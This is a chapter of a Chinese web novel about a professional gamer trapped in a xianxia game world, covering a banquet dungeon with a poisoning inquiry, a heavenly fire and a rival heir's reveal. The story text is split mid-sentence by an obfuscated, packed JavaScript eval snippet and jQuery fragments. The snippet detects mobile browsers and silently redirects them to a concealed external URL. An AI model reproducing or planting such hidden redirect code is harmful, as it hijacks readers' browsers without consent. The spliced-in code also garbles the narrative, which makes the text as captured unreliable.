12. 芳君寿诞(四)
作品:《职业选手穿进游戏世界后》 药师暴毙一案,为这场寿宴蒙上一层阴影。
羽暝阁主白芳遣人通传,召少主白荧到中庭主持大局。
来传话的是位蓝衣侍从,他父母也是行路阁的管事,是故和白荧、百朗箐自小就玩在一起,还冲两人熟稔地挤眼睛。
暴毙的药师背后没有宗门家族,只是个无名散修,因此这事属实算不上严重,只是恰好撞上芳君会宴诸宾,才需面子上给个态度。
是故蓝衣小仙一路也嬉皮笑脸,他知道两人有情愫,话语间总是夹着两人的暧昧玩笑。
奈何队伍里还有像大梦这般博览群书的奇葩,两人凑一起磕得死去活来不知天地为何物。
苏是一的脸越来越黑。
一想到一会说不定要被喊着野种再打一局丧尸围城,现在又因为这个该死的人设和菜鸟队友这种货色绑CP,就觉得前途真是一片大号。
蓝衣侍从误会了她脸色差的原因,只以为是大小姐在为被人劝分生气,便自觉体贴地劝道:
“大小姐不必难受,箐少爷若承了宫主之位,两家不还是日日走动,朝夕相处,阁中上下也皆大欢喜。”
让百朗箐接任百草道宫对如今被打压的行路阁来说无异于天降甘霖,至于两人未来娶的道侣——仙界的婚姻与爱情向来是分开的,找情人也好,两个家主有私联也罢,只要不影响联姻的利益,就算公诸于世也没人觉得有何不对。
苏是一自动屏蔽一切无关剧情,菜鸟队友还沉浸在又送了一根人头的心虚里不吱声。
只有大梦满脑子“大佬脸色阴沉是因为小白花没有保护好自己啦”“大佬满腹怒气要动真本事给小白花报仇啦”,和蓝衣一来一回地谈得热火朝天相见恨晚,让后者直呼大小姐真是用情至深。
正厅雕梁画栋,高朋满座,行路阁的主支和百草道宫的几位长老都坐在席间。
不少玩家都知道这个地点的关键性,也早早地入席,苏是一能看见几个昨天遇到的熟面孔,还有那位大师兄。
本来一个无名散修的死犯不着如此大动干戈,但道宫刻意要揪着这事情不放,当着一列贵客面前要把案情掰扯清楚。
不明所以的客人还以为是道宫重视行路阁,重视这场寿宴,还在心底赞叹不愧是全仙界最得主家器重的属族。
“我听说这一代行路阁的少主还有望娶百家的嫡支公子呢。”有八卦心重的客人低声和同伴议论。
“哎哟,那可真是天恩浩荡了,哪家道宫和自己的部族连着三代联姻哪。”同伴附和。
琢影看向主座的白芳阁主,老太太正握着乐夫人的手说话,用灵掌给她刚刚咳过的身子顺气,对这个媳妇倒是比旁边自己的亲儿子还心疼。
毕竟乐夫人不只是百氏女这么简单,她的母亲是白芳阁主的早逝的亲妹妹,这是第一代联姻。
乐夫人又嫁给了白芳的儿子、自己的表哥,这是第二代联姻。
白荧若要娶到了百朗箐,那行路阁与草宫可真就是三代姻亲,荣宠无两。
闲话归闲话,道宫的长老揪着药师的事不放,言语之间处处给在第一现场的白荧挖坑使绊,步步紧逼,丝毫不像是众人所猜想的“给行路阁撑腰”。
苏是一又永远只会选项选第一个,纵然菜鸟队友追在她屁股后面找补,局势也急转直下,让众宾客都有些不自在,心想这是闹得哪出。
道宫逼得实在太紧,最后是白芳看不下去,敲敲手里的木杖:
“既然是老朽办的日子,有什么琐事不如关起门来私下商议,在这里扰了众位贵客的清净,传出去世人该笑话行路阁不谙待客之道了。”
白芳毕竟有君的封号——这是只有持玺的六大道宫和朝廷才能颁发的贵族称号,每座道宫的君一只手都能数的过来。
她发了话,饶是百草道宫的长老也不敢不给面子,还要按照两家“姐妹之礼”恭恭敬敬地喊她一声芳姨。
只是白芳终究年事已高,她还能庇护行路阁多久呢。
儿子庸碌无为,儿媳重病缠身,只有一个孙女顶事,今日又一副低落失神的模样。
乐夫人许是受了惊,不住地咳嗽,道宫长老抓住机会,从袖中拿出药方,自言是带给芳君的寿礼,许能缓解乐夫人的沉疴。
长老捋着胡子不急不慢地说:“……药方是宫主闭关数日悟得,所需材料都已备好,只差一味至亲之血作药引,正巧箐公子也在,就由你代道宫献上这份贺礼,看看药效如何。”
他示意让百朗箐取血试药。
在前几个周目,一无所知的百朗箐在乐夫人惊恐的眼神中取白荧的血用药。
他向来和行路阁走得近,又是道宫年轻一辈里最有天赋的弟子,经他亲手验证的白荧并非乐夫人血脉的事实,便就此公诸于世,再无可辩驳。
乐夫人果不其然地开始发抖,这一急咳得更厉害,她用求助的目光看着自己的婆婆兼姨妈白芳,渴望后者能再出声阻止。
但白芳只是闭上眼,毫无动作,或许她也只是厌倦了,厌倦了在这柄悬于头顶摇摇欲坠的利剑之下如履薄冰的日子。
长老们咄咄逼人地看着百朗箐,催促他勿要拖延。
菜鸟队友没有动作,倒不是因为他知道这背后的阴谋,而是他真的不会。
你能指望他连20级小技能都用不明白,能取血入药一条龙吗。
当然不能。
长老越说越夸张,各种不孝不敬的帽子扣下来,好像他不用这药,日后连竞争宫主的资格都没有了。
这倒把蓝衣侍从给吓坏了,他不知道验血里的弯弯绕绕,只以为百朗箐也是不在状态,箐少爷要是做不了宫主,那是整个行路阁的损失。
场面不上不下,一时不知如何破局。
却忽见离此地不过千步的一座山峰上黑烟骤起,直冲云霄,修士们耳聪目明,把那火焰的邪异看得分明。
这实在是出乎所有人的意外,道宫的长老与几位大能也收敛起神色,飞身前去查探。
天火降世,毒雾滋生,副本的三阶段启动了。
“天火,此等景象,是天罚……”返回的探子软倒在地。
行路阁做了什么,招致上天降罪,目前无从得知。
但天道震怒,只有天道所册封的九重天可平息,否则,这里的所有人都将被天火吞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993548|193845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
噬尸骨无存。
坐镇朝廷的现任九重天远在天边,而百草道宫毕竟是九重天草传世的家族,草玺作为九重天草的象征物,更能救眼前的近火。
众宾客面露惊慌,不少人纷纷起身,七嘴八舌地请百朗箐这位最有望继承草玺的百氏子弟出手灭火。
那菜鸟队友能做到吗,自然是万万不能的。
苏是一又眼神示意微师姐,遇事不决崩撤卖溜,她不想让菜鸟队友再浪费掉自己的复活机会了。
席间却传来一人的哈哈大笑,那声音无比熟悉。
“原来如此,原来如此,得尽了叔公偏爱的你,原来是这样一个怯弱的废物。”大师兄从席间站起身,用憎恨的目光看着百朗箐,“你这一副道心不稳的荒唐模样,难怪二十四年前发挥不出草玺的全部实力,不仅没灭掉天火,还让朝廷的人来抢走了我们的宝玺。”
NPC们无法理解他的话语,都像是被定身一样卡住,但玩家们却都惊诧地看着这位学宫的大师兄,从未想过他竟是百草道宫的旧人。
“百朗箐,当年我明明胜了你,却被说成是胜在年龄,那也就罢了,总有一天你会长大,我们能在草玺前再堂堂正正地战一场。可是结果呢,叔公把我流放出去,拜到平灵峰下进修,我便再也无缘草玺。”
“后来我才明白为什么,哈,就算因为你是他的孙子,我只是他的侄孙,他千方百计只想扶他的血脉上位。”
大师兄怨忿的话语堆积在此刻爆发,菜鸟队友却沉浸在一种诡异的喜悦中。
隐藏剧情啊,回去就剪视频。
见“百朗箐”无动于衷,大师兄——或者说真名百朗荃,径直拔出武器:“不过没关系,我在这个秘境潜伏数日,为的就是此刻,你没有资格做草玺的继承人,它属于我,只属于我。”
菜鸟队友连忙道:“等等,我不是——”
说时迟那时快,微师姐立刻接到苏是一的信号,给菜鸟队友套上隐身诀迅速后撤。
但百朗荃此刻修为此刻突破了六重天,万箭齐至,只听一阵激烈刺耳的碰撞声,苏是一握着鲜红的火剑,60级必杀技-万物可燃,把剩余的断箭烧作灰烬。
她又状似随意的一挥,瞬发缠绕术如暴雨般扑向他,将他逼得后退十数步。
百朗荃把几根棘刺从自己衣上拔出来:“上次没能除掉你,还真是隐患啊。”
“你敢动他(的后备血槽)试试。”苏是一平静地说。
百朗荃低笑一声:“呵,这个‘百朗箐’的灵魂确实不属于百氏。”
这一点他早就发觉了,只是出于迁怒,他杀不死真正的百朗箐,难道还碾不死这个假的吗。
但是如果假货不容易被碾死,他也知道什么叫欺软怕硬,看碟下菜,给自己找个台阶下去了。
毕竟还没到时候。
“——所以,在这里,没有人比我更接近草玺了!”
百朗荃一振袖,一幅庞大的法阵从地面上延展开来,数道强烈的光芒迸发,百草丛生之中,一株让人难以移开眼睛的青翠藤枝化出身形,稳稳地落入他的手中。
那即是草玺——荣枯藤。

